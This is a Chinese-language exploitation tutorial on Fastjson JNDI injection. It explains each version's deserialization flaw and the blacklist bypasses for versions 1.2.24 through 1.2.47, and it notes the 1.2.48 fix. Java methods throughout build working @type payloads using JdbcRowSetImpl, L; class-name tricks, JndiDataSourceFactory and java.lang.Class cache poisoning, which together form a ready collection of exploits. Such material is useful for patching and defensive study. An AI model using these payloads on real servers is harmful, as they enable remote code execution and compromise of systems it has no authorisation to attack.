FastjsonJNDI利用及Bypass高版本限制
Fastjson 在用 parse(obj)
还原对象的属性时会调用对象的 setter
方法为属性赋值,比如要还原 JdbcRowSetImpl
对象的autoCommit
属性,则会调用 JdbcRowSetImpl#setAutoCommit
方法进行还原,而下面的利用也基本都是基于这一点!
Fastjson <= 1.2.24
还原 autoCommit
属性时调用 JdbcRowSetImpl#setAutoCommit
方法,setAutoCommit
方法调用 connect
方法
public static String getSerializeDataJndi() throws Exception{
String jsonString = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\""+ParseArgs.jndi+"\",\"autoCommit\":true}";
System.out.println(jsonString);
return jsonString;
}
Bypass Fastjson 1.2.25 - 1.2.41
- 在 Fastjson 1.2.25 及以后版本中 AutoType 默认为关闭,需要目标手动开启,否则会报错
- 在 Fastjson 1.2.25 及以后版本中增加了还原类的黑名单,在
ParserConfig#checkAutoType
方法中检测还原类是否在黑名单中,而包名以 com.sun 开头的类都在黑名单中,自然利用的JdbcRowSetImpl
类也在 - 在
TypeUtils#loadClass
方法中,如果加载的类包名开头为L且结尾为 ; 则会把L;
去除再进行加载,那么绕过的思路也就很明显了在包名前面加L后面加 ; 即可
public static String getSerializeDataJndiBypass01() throws Exception{
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String jsonString = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\""+ParseArgs.jndi+"\",\"autoCommit\":true}";
System.out.println(jsonString);
return jsonString;
}
Bypass Fastjson 1.2.42
为了修复 Bypass Fastjson 1.2.25 - 1.2.41,在 ParserConfig#checkAutoType
方法也把类包名开头为L且结尾为 ; 的包类名去除 L;
,可以双写绕过
public static String getSerializeDataJndiBypass02() throws Exception{
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String jsonString = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\""+ParseArgs.jndi+"\",\"autoCommit\":true}";
System.out.println(jsonString);
return jsonString;
}
Bypass Fastjson 1.2.25-1.2.43
- Fastjson 1.2.43 在
ParserConfig#checkAutoType
方法检测了类名是否双写L;
如果双写了则直接报错 - 这里使用
JndiDataSourceFactory
类进行 JNDI 注入,JndiDataSourceFactory#setProperties->lookup()
public static String getSerializeDataJndiBypass03() throws Exception{
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String jsonString = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\""+ParseArgs.jndi+"\"}}";
System.out.println(jsonString);
return jsonString;
}
Bypass Fastjson 1.2.25-1.2.47
- 如果目标不开 AutoType ,则通杀 1.2.25-1.2.47
- 如果目标开了 AutoType ,则在 1.2.33-1.2.47 版本内有效
- 核心原理是利用
java.lang.Class
将JdbcRowSetImpl
注入到TypeUtils.mappings
属性,然后在加载JdbcRowSetImpl
对象的时候直接获取TypeUtils.mappings
属性里的JdbcRowSetImpl
,绕过黑名单检测
public static String getSerializeDataJndiBypass04() throws Exception{
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String jsonString = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\""+ParseArgs.jndi+"\",\"autoCommit\":true}}";
System.out.println(jsonString);
JSON.parse(jsonString);
return jsonString;
}
Fastjson 1.2.48 修复
TypeUtils#loadClass
方法的 cache 参数默认有 true 变为了 false,无法把JdbcRowSetImpl
注入到TypeUtils.mappings
属性里